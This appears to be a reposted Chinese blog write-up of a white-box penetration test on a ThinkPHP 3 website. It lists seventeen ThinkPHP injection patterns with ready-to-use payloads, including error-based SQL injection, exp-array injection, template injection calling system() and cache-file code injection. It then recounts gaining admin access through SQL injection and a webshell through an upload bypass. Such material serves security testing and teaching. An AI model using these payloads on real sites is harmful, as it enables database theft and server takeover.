一次基於白盒的滲透測試


一、事件起因

一次師兄讓我檢測一下他們開發的網站是否有漏洞,網站是php開發的,最近一直搞java,正好最近有場CTF要打,就順便看看php.
Alt text

二、獲取源碼

仔細看他給我發的那張圖片,360給這個網站53的評分,仔細看網站存在.git文件泄露,直接用Githack拿到源碼。
Alt text

三、確定后台框架

拿到源碼后,一看目錄就知道是thinkphp框架,再看controller接收參數的函數是I(),確定用的是thinkphp 3的框架。
總結的thinphp 3常見的開發漏洞:

1.where后直接直接拼接會產生注入
$data = M('user')->where("id=".I('id'))->select();
2. table表名函數可控產生注入
M()->table(I('biao'))->where('1=1')->select();  
table ?biao=thinkphp_user where 1=1 and 1=(extractvalue(1, concat(0x7e, (select @@version),0x7e)))-- -a 表名必須存在。
3. field函數可控產生注入
M('user')->field(I('id'))->where('1=1')->select(); 
//SELECT `id` FROM `thinkphp_user` WHERE ( 1=1 ) id可控導致注入
4. field別名可控存在注入
M('user')->field(array('id','username'=>I('name')))->select(); 
// SELECT `id`,`username` AS `uname` FROM `thinkphp_user` //別名 ?name=uname`a報錯
5.->(alias|join|union)\s*\((\$|\$_|I) 用正則查找 alias|join|union參數可控制
M('user')->field(I('id'))->union('select 1 from thinkphp_user')->select();
6.order,group,having參數可控
M('user')->where('1=1')->order(array('id'=>I('orderby')))->select();
 SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) ORDER BY `id` asc ---?orderby=asc
7.comment注入
M('user')->comment(I('comment'))->where('1=1')->select(); 

 SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) /* 111111111 */ comment=111111111
8.索引注入
$Model->index(I('user'))->select();
9.query,execute,聚合函數支持原生的sql語句 
M('user')->count(I('par')); //聚合函數 SELECT COUNT(*) AS tp_count FROM `thinkphp_user` LIMIT 1 ?par=*
10.exp注入
a.)
$data = array();
$data['user'] = $_POST['username']; 
$data['pass'] = md5($_POST['password']);
M('user')->where($data)->find();
payload: username[0]=exp&username[1]=aa'or 1=1%23&password=1
b.)
$res=M('member')->where(array('id'=>$_GET['userid']))->count();   
payload:userid[0]=exp&userid[1]=aaaaaa
c.)通過I函數exp注入就不存在了
$res = M('member')->where(array('id'=>$I('userid')))->count();
11、參數傳遞注入 public\s+function\s+[\w_]+\(\$
public function index(/*$id*/)....
if(intval($id)>0)
{
 $data = M('user')->where('id='.$id)->select(); //?id=1) 直接繞過判斷
 dump($data);
}
12.setInc注入
$user = M("user");
$user->where('id=5')->setInc('sorce'.I('num'));
13.組合注入
$map['id'] = I('id');
$map['_string'] = 'username='."'".I('username')."'"; 
$data = M('user')->where($map)->select();
dump(data);
[url]http://127.0.0.1/tp/index.php/home/user/index?id=5&username=afanti[/url] 
SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( username='afanti' )
14、_query參數可控
$map['id'] = 5;
$map['_query']='username=afanti&score=10'; 
$data = M('user')->where($map)->select();
dump(data);
SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( `username` = 'afanti' AND `score` = '10' )

15、模板問題
$name = $_GET['name'];
$this->assign($name); 
$this->display('index'); //'TMPL_ENGINE_TYPE' => 'php'才有效,默認是Think
[url]http://127.0.0.1/tp/index.php/home/user/index?name[/url][_content]=<?php system('type index.php');;?>
16、在runtime/key.php
S('a',I('id')); //http://127.0.0.1/tp/index.php/home/index/test?id=%0Aphpinfo%28%29//
在Temp生成文件 生成的文件名字可到cmd5破解
<?php
//000000000000s:12:"
phpinfo()//";
?>
F('key','<?php phpinfo();?>'); 
$this->display();
17.select、find、delete注入
public function test()
    {
       $id = i('id');
       $res = M('user')->find($id);
       //$res = M('user')->delete($id);
       //$res = M('user')->select($id);
    }
注入的payload:
table:[url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias:[url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
where: [url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
delete方法注入payload:
where: [url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias: [url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
table: [url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1

四、Sql注入漏洞

熟悉完框架和整體目錄結構后,直接看controller層的代碼。全局搜索下是否用原生的php接收參數.
Alt text
找對應的controller,根據上面總結看是否存在注入。下面只是一處sql注入為例。
Mycourse控制器的listLesson方法$lesson_id參數拼接,進入數據庫產生的注入。
Alt text
獲取數據庫
Alt text
獲取表,這網站前台注冊個賬號,發現功能很少。看代碼后台功能很多,自然問題也就不少。
獲取數據表可以用注入的方式,我們也可以查看model層的代碼。
Alt text
前台注冊用戶當輸入手機和密碼就能登陸后台,只要我們獲取管理員的就能登陸。
通過注入獲取到一個權限是10的賬號
Alt text
查看代碼,10為管理員,直接通過注入登陸網站后台
Alt text

五、上傳漏洞

登陸后台后,看下是否存在上傳點。發現好多能上傳的地方。對應看后台的代碼看是否能上傳繞過。
發現createLesson這個方法存在問題。
Alt text
上傳操作正常的代碼。把后綴限制,上面的代碼沒有白名單驗證。就能夠任意文件上傳,直接getshell。
Alt text
嘗試上傳txt文件,前端bootstrap上傳框架顯示不讓上傳圖片等文件。
Alt text
看代碼,這里限制了上傳后綴.
Alt text
通過burp繞過限制,上傳成功。
Alt text

六、找上傳路徑

發現這個網站使用的是阿里雲的oss雲存儲。在服務器上應該存在上傳的php文件。這就需要具體看上傳代碼的存儲位置。
Alt text
看下upload類,開發人員將thinkphp upload類重寫,加了上傳到oss的代碼
Alt text
具體代碼如下,具體跟一下C配置的參加就能獲取上傳的路徑:
Alt text
最后拿到shell

結語

本想着提個權,師兄把權限設置的比較嚴格,禁用了好多函數,數據庫也不是root用戶,能力有限,就這樣吧。有空把代碼通讀一下,上面只是以倆個典型洞為例。
話說當拿到源碼時,滲透成功率至少提高5成以上。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM